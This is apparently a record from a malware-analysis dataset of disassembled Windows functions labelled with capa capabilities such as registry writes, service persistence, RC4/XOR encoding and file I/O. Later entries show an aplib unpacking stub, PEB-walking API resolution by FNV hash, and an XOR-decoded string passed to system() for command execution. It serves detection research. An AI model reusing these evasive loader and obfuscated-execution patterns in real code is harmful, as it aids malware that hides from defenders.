joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001c2d4
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r15
mov rbp, rsp
sub rsp, 0x70
and qword [rbp - 0x10], 0
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
mov rsi, rdx
lea rax, [rbp - 0x10]
mov rdi, r8
mov rbx, rcx
mov r15d, 0x2001f
lea rdx, str.Software
xor r8d, r8d
mov r9d, r15d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001c41e
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 0x20]
lea rdx, str.BugSplat
mov r9d, r15d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14001c397
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 0x38]
lea rdx, str.BugSplat
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14001c41e
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x18]
mov r9d, r15d
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14001c3f0
mov rcx, qword [rbp - 0x20]
lea rax, [rbp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x18]
xor r8d, r8d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov rdx, rbx
mov dword [rsp + 0x28], r15d
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14001c41e
mov rcx, rdi
call fcn.14002733c
mov r9d, 1
xor r8d, r8d
lea ecx, [rax*2 + 2]
mov rdx, rsi
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp - 0x18]
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14001c42d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14001c43c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14001c44b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x14001c460
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14005f660]
xor rax, rsp
mov qword [rbp + 0x170], rax
and dword [rsp + 0x40], 0
and qword [rsp + 0x30], 0
lea r9, str.BugSplat
lea r8, str.SYSTEMCurrentControlSetServicesEventLogApplication_s
lea rcx, [rsp + 0x60]
mov edx, 0x104
call fcn.1400280c0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [0x140062080]
lea rdx, [rsp + 0x60]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x60]
call fcn.14002733c
lea rdx, str.EventMessageFile
mov r9d, 2
lea ecx, [rax*2 + 2]
lea rax, [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x50]
lea rdx, str.TypesSupported
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x50], 7
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [rsp + 0x40], 0
jbe 0x14001c5b6
lea rcx, [rsp + 0x60]
call fcn.14002733c
lea rdx, str.CategoryMessageFile
mov r9d, 2
lea ecx, [rax*2 + 2]
lea rax, [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
lea rdx, str.CategoryCount
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.1400268f0
add rsp, 0x280
pop rbp
ret
Function at 0x14001e220
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd r14, edx
mov rsi, r8
lea r8, str.bad_pack_level
lea eax, [r14 - 1]
mov rbx, rcx
cmp eax, 7
setbe dl
call fcn.14001caec
xor edi, edi
mov dword [rcx + 0x6afc0], edi
cmp dword [rcx + 0x6afb8], edi
jne 0x14001e27c
mov dword [rcx + 0x6afc0], 1
mov dword [rcx + 0x6afb8], 0x10000
mov dword [rcx + 0x6afb4], edi
add rcx, 0x4afb8
xor edx, edx
mov r8d, 0x1fffc
call fcn.140027620
lea rdx, [0x1400527c0]
mov ebp, 2
movzx eax, word [rdx + r14*8 + 2]
mov dword [rbx + 0x6afe0], eax
movzx eax, word [rdx + r14*8]
mov dword [rbx + 0x6afe4], eax
movzx eax, word [rdx + r14*8 + 4]
mov dword [rbx + 0x6afe8], eax
movzx eax, word [rdx + r14*8 + 6]
mov dword [rbx + 0x6afdc], eax
cmp r14d, ebp
jg 0x14001e2dc
or word [rsi], 4
jmp 0x14001e2e5
cmp r14d, 8
jl 0x14001e2e5
or word [rsi], bp
lea rsi, [rbx + 0x1afb8]
mov r8d, 0x10000
mov rcx, rbx
mov rdx, rsi
mov dword [rbx + 0x6afcc], edi
mov dword [rbx + 0x6afbc], edi
call qword [rbx + 0x10]
mov dword [rbx + 0x6afd8], eax
lea ecx, [rax - 1]
cmp ecx, 0xfffffffd
ja 0x14001e34e
mov dword [rbx + 0x6afd4], edi
cmp eax, 0x106
jae 0x14001e32a
mov rcx, rbx
call fcn.14001e588
mov dword [rbx + 0x6afc4], edi
movzx eax, byte [rsi]
shl edi, 5
inc rsi
xor edi, eax
and edi, 0x7fff
mov dword [rbx + 0x6afc4], edi
dec rbp
jne 0x14001e330
jmp 0x14001e359
mov qword [rbx + 0x6afd4], 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14001e6e0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
mov rbx, rcx
mov dword [rcx + 0x6afc8], 2
mov ebp, edi
mov esi, edi
cmp dword [rcx + 0x6afd8], edi
je 0x14001e916
mov r12d, 0x7fff
cmp dword [rbx + 0x6afd8], 3
jb 0x14001e775
mov r8d, dword [rbx + 0x6afcc]
lea eax, [r8 + 2]
movzx edx, byte [rax + rbx + 0x1afb8]
mov eax, dword [rbx + 0x6afc4]
shl eax, 5
xor edx, eax
and edx, r12d
and r8, r12
mov eax, edx
mov dword [rbx + 0x6afc4], eax
mov ebp, dword [rbx + rdx*4 + 0x4afb8]
mov dword [rbx + r8*4 + 0x2afb8], ebp
mov ecx, dword [rbx + 0x6afc4]
mov eax, dword [rbx + 0x6afcc]
mov dword [rbx + rcx*4 + 0x4afb8], eax
test ebp, ebp
je 0x14001e7b3
mov eax, dword [rbx + 0x6afcc]
sub eax, ebp
cmp eax, 0x7efa
ja 0x14001e7b3
mov eax, dword [rbx + 0x6afd8]
cmp dword [rbx + 0x6afe8], eax
jbe 0x14001e79c
mov dword [rbx + 0x6afe8], eax
mov edx, ebp
mov rcx, rbx
call fcn.14001e374
mov ecx, dword [rbx + 0x6afd8]
cmp eax, ecx
mov esi, eax
cmova esi, ecx
mov rcx, rbx
cmp esi, 3
jb 0x14001e892
mov edx, dword [rbx + 0x6afcc]
lea r8d, [rsi - 3]
sub edx, dword [rbx + 0x6afd0]
call fcn.14001daf8
sub dword [rbx + 0x6afd8], esi
mov r9d, eax
cmp esi, dword [rbx + 0x6afe0]
ja 0x14001e84a
cmp dword [rbx + 0x6afd8], 3
jb 0x14001e84a
dec esi
inc dword [rbx + 0x6afcc]
mov r8d, dword [rbx + 0x6afcc]
lea eax, [r8 + 2]
and r8, r12
movzx edx, byte [rax + rbx + 0x1afb8]
mov eax, dword [rbx + 0x6afc4]
shl eax, 5
xor edx, eax
and edx, r12d
mov eax, edx
mov dword [rbx + 0x6afc4], eax
mov ebp, dword [rbx + rdx*4 + 0x4afb8]
mov dword [rbx + r8*4 + 0x2afb8], ebp
mov ecx, dword [rbx + 0x6afc4]
mov eax, dword [rbx + 0x6afcc]
mov dword [rbx + rcx*4 + 0x4afb8], eax
dec esi
jne 0x14001e7f0
jmp 0x14001e8b1
add dword [rbx + 0x6afcc], esi
mov ecx, dword [rbx + 0x6afcc]
lea r8, str.Call_UPDATE_HASH___MIN_MATCH_3_more_times
movzx edx, byte [rcx + rbx + 0x1afb8]
lea eax, [rcx + 1]
mov rcx, rbx
mov dword [rbx + 0x6afc4], edx
movzx eax, byte [rax + rbx + 0x1afb8]
shl edx, 5
xor eax, edx
mov dl, 1
mov esi, edi
and eax, r12d
mov dword [rbx + 0x6afc4], eax
call fcn.14001caec
jmp 0x14001e8b7
mov eax, dword [rbx + 0x6afcc]
xor edx, edx
movzx r8d, byte [rax + rbx + 0x1afb8]
call fcn.14001daf8
dec dword [rbx + 0x6afd8]
mov r9d, eax
inc dword [rbx + 0x6afcc]
test r9d, r9d
je 0x14001e8f6
mov ecx, dword [rbx + 0x6afbc]
test ecx, ecx
js 0x14001e8d2
lea rdx, [rbx + 0x1afb8]
add rdx, rcx
jmp 0x14001e8d5
mov rdx, rdi
mov r8d, dword [rbx + 0x6afcc]
xor r9d, r9d
sub r8d, ecx
mov rcx, rbx
call fcn.14001d8a4
mov eax, dword [rbx + 0x6afcc]
mov dword [rbx + 0x6afbc], eax
cmp dword [rbx + 0x6afd8], 0x106
jae 0x14001e90a
mov rcx, rbx
call fcn.14001e588
cmp dword [rbx + 0x6afd8], edi
jne 0x14001e71e
mov ecx, dword [rbx + 0x6afbc]
test ecx, ecx
js 0x14001e92a
lea rdi, [rbx + 0x1afb8]
add rdi, rcx
mov r8d, dword [rbx + 0x6afcc]
mov r9d, 1
mov rdx, rdi
sub r8d, ecx
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
jmp fcn.14001d8a4
Function at 0x14001f7b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r11, rdx
mov r9d, ecx
test rdx, rdx
jne 0x14001f7c9
xor eax, eax
jmp 0x14001f83a
not r9d
lea rdi, [0x1400523c0]
cmp r8, 8
jb 0x14001f810
mov r10, r8
shr r10, 3
imul rax, r10, 0xfffffffffffffff8
add r8, rax
mov ebx, 8
movzx ecx, byte [r11]
mov eax, r9d
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
dec rbx
jne 0x14001f7ec
dec r10
jne 0x14001f7e7
test r8, r8
je 0x14001f834
movzx ecx, byte [r11]
mov eax, r9d
inc r11
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
dec r8
jne 0x14001f815
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret
Function at 0x14001f9fc
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x17]
sub rsp, 0x88
mov rax, qword [0x14005f660]
xor rax, rsp
mov qword [rbp + 7], rax
mov r12, qword [rbp + 0x7f]
mov r14, r9
mov r15, r8
mov r13, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov esi, 1
cmp eax, esi
je 0x14001fa4c
mov eax, 0x1000000
jmp 0x14001fbec
lea rdx, [rbp - 0x31]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x14001fa67
mov eax, 0x200
jmp 0x14001fbec
mov eax, dword [rbp - 0x31]
mov ebx, 0
mov edx, eax
and edx, esi
cmovne ebx, esi
test al, 2
je 0x14001fa7d
or ebx, 2
test al, 4
je 0x14001fa84
or ebx, 4
mov ecx, eax
and ecx, 0x10
je 0x14001fa8e
or ebx, 0x10
test al, 0x20
je 0x14001fa95
or ebx, 0x20
test ecx, ecx
je 0x14001fa9f
bts ebx, 0x1e
jmp 0x14001faa3
bts ebx, 0x1f
bts ebx, 0x18
test edx, edx
jne 0x14001faaf
bts ebx, 0x17
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0x28
jbe 0x14001fb86
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x39]
lea rdx, [rbp - 0x41]
mov r8d, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x24]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x39]
lea rdx, [rbp - 0x3d]
mov r8d, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x54ad
cmp word [rbp - 0x41], ax
jne 0x14001fb86
mov edx, dword [rbp - 0x3d]
lea eax, [rdx + 0x34]
cmp esi, eax
jbe 0x14001fb86
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rbp - 0x39]
lea rdx, [rbp - 0x35]
mov r8d, 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rbp - 0x35]
cmp eax, 0x5a4d
je 0x14001fb82
add eax, 0xffffbab4
cmp eax, 4
ja 0x14001fb86
mov ecx, 0x15
bt ecx, eax
jae 0x14001fb86
bts ebx, 0x16
test r13, r13
je 0x14001fb8f
mov dword [r13], ebx
test r15, r15
je 0x14001fb97
mov dword [r15], esi
test r14, r14
je 0x14001fbc2
mov rcx, qword [rbp - 0x25]
call fcn.14001f92c
mov rcx, qword [rbp - 0x1d]
mov qword [r14], rax
call fcn.14001f92c
mov rcx, qword [rbp - 0x2d]
mov qword [r14 + 8], rax
call fcn.14001f92c
mov qword [r14 + 0x10], rax
test r12, r12
je 0x14001fbea
lea r8, [rbp - 0x3d]
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x1d]
call qword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
movzx ecx, word [rbp - 0x41]
movzx eax, word [rbp - 0x3d]
shl ecx, 0x10
or ecx, eax
mov dword [r12], ecx
xor eax, eax
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.1400268f0
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x14001fcbc
Capabilities:
Write file on windows

Disassembly:
test r8d, r8d
jne 0x14001fcc4
xor eax, eax
ret
jmp fcn.14001fccc
Function at 0x14001fccc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x20], 0
mov edi, r8d
mov rbx, rcx
je 0x14001fd0a
mov ecx, dword [rcx + 0x28]
lea eax, [rcx + rdi]
cmp eax, dword [rbx + 0x2c]
jb 0x14001fcf7
mov dword [rbx + 0x14], 0x30000
jmp 0x14001fd33
add rcx, qword [rbx + 0x20]
mov r8, rdi
call fcn.140026b10
add dword [rbx + 0x28], edi
mov eax, edi
jmp 0x14001fd35
mov rcx, qword [rcx]
test rcx, rcx
je 0x14001fd2c
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x40]
jmp 0x14001fd35
mov dword [rbx + 0x14], 0x1000000
xor eax, eax
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140020000
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x88]
mov rbp, rdx
test rcx, rcx
je 0x14002006c
mov eax, dword [rdi + 0x94]
mov esi, dword [rdi + 0x90]
cmp eax, esi
jae 0x1400200ad
sub esi, eax
lea rdx, [rcx + rax]
mov rcx, rbp
cmp esi, r8d
cmova esi, r8d
mov r8d, esi
call fcn.140026b10
mov ecx, dword [rdi + 0x70]
add dword [rdi + 0x94], esi
add dword [rdi + 0x6c], esi
mov r8d, esi
mov rdx, rbp
call fcn.14001f7b0
mov dword [rdi + 0x70], eax
mov eax, esi
jmp 0x1400200af
mov rcx, qword [rdi + 0x78]
test rcx, rcx
je 0x1400200a6
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400200ad
mov ebx, dword [rsp + 0x40]
mov ecx, dword [rdi + 0x70]
mov rdx, rbp
add dword [rdi + 0x6c], ebx
mov r8d, ebx
call fcn.14001f7b0
mov dword [rdi + 0x70], eax
mov eax, ebx
jmp 0x1400200af
mov dword [rdi + 0x14], 0x1000000
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1400280e4
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400280fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400280fc
xor eax, eax
test eax, eax
je 0x14002810c
mov ecx, eax
call fcn.14002d404
or eax, 0xffffffff
jmp 0x14002810e
xor eax, eax
add rsp, 0x28
ret
jmp 0x1400280e4

Function at 0x140028114
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400280fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400280fc
xor eax, eax
test eax, eax
je 0x14002810c
mov ecx, eax
call fcn.14002d404
or eax, 0xffffffff
jmp 0x14002810e
xor eax, eax
add rsp, 0x28
ret
jmp 0x1400280e4
Function at 0xdea058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00dea1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0xdea089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xdea06f
add dl, dl
jne 0xdea096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xdea0f6
xor eax, eax
add dl, dl
jne 0xdea0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0xdea1ad
add dl, dl
jne 0xdea0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdea0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdea0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdea0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0xdea0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0xdea07e
mov eax, 1
add dl, dl
jne 0xdea106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xdea113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xdea0fb
sub eax, ebx
mov ebx, 1
jne 0xdea14c
mov ecx, 1
add dl, dl
jne 0xdea12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xdea13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xdea123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xdea07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xdea168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xdea175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0xdea15d
cmp eax, 0x7d00
jae 0xdea19b
cmp eax, 0x500
jb 0xdea196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xdea07e
cmp eax, 0x7f
ja 0xdea19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0xdea07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0xdea1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0xdea07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400031c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140003257
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140003257
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140003252
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140003230
cmp r8d, 0xbc0e3315
je 0x14000325c
test r9d, r9d
jne 0x140003210
mov rax, qword [rax]
jmp 0x1400031e0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 2
mov rcx, qword [0x140171f60]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax

Function at 0x140003290
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140003327
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140003327
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140003322
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140003300
cmp r8d, 0xbc0e3315
je 0x14000332c
test r9d, r9d
jne 0x1400032e0
mov rax, qword [rax]
jmp 0x1400032b0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 7
mov rcx, qword [0x140171f60]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax
Function at 0x140003360
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x88
movups xmm1, xmmword [0x140084338]
movups xmm0, xmmword [str._TESPVW]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x30], xmm0
test al, al
je 0x14000355f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140003520
movdqa xmm0, xmmword [str.4444444444444444O]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x140084760]
mov eax, 4
movdqa xmm4, xmmword [0x1400847a0]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [str.4444]
movd xmm6, eax
mov eax, Ordinal_33
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm8
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140084780]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140084780]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140003400
movaps xmm8, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x88
ret
lea r8, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x34
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x20
jl 0x140003530
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x88
ret